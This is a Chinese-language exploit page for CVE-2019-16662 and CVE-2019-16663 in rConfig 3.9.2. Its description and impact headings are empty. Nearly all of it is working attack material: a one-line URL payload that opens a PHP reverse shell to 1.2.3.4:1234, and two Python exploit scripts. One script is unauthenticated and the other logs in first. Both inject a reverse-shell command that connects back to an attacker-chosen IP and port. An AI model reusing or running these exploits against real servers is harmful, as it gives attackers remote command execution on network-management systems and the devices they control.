001-CVE-2019-16662 rConfig远程命令执行

# CVE-2019-16662 rConfig远程命令执行

### 一、漏洞简介

### 二、漏洞影响

### 三、复现过程

“`
https://url/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=`php -r ‘$sock=fsockopen(“1.2.3.4”,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’`
“`


pyton脚本一

“`python
#!/usr/bin/python

# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16662
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22

import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 4:
print “[+] Usage : ./exploit.py target ip port”
exit()

target = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

payload = quote(”’;php -r ‘$sock=fsockopen(“{0}”,{1});exec(“/bin/sh -i <&3 >&3 2>&3″);’#”’.format(ip, port))

install_path = target + “/install”

req = requests.get(install_path, verify=False)
if req.status_code == 404:
print “[-] Installation directory not found!”
print “[-] Exploitation failed !”
exit()
elif req.status_code == 200:
print “[+] Installation directory found!”
url_to_send = target + “/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=” + payload

print “[+] Triggering the payload”
print “[+] Check your listener !”

requests.get(url_to_send, verify=False)
“`


python脚本二

“`python
#!/usr/bin/python

# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16663
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22

import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 6:
print “[+] Usage : ./exploit.py target username password ip port”
exit()

target = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

ip = sys.argv[4]

port = sys.argv[5]

request = requests.session()

login_info = {
“user”: username,
“pass”: password,
“sublogin”: 1
}

login_request = request.post(
target+”/lib/crud/userprocess.php”,
login_info,
verify=False,
allow_redirects=True
)

dashboard_request = request.get(target+”/dashboard.php”, allow_redirects=False)

if dashboard_request.status_code == 200:
print “[+] LoggedIn successfully”
payload = ”'””&&php -r ‘$sock=fsockopen(“{0}”,{1});exec(“/bin/sh -i <&3 >&3 2>&3″);’#”’.format(ip, port)
encoded_request = target+”/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}”.format(quote(payload))
print “[+] triggering the payload”
print “[+] Check your listener !”
exploit_req = request.get(encoded_request)

elif dashboard_request.status_code == 302:
print “[-] Wrong credentials !”
exit()
“`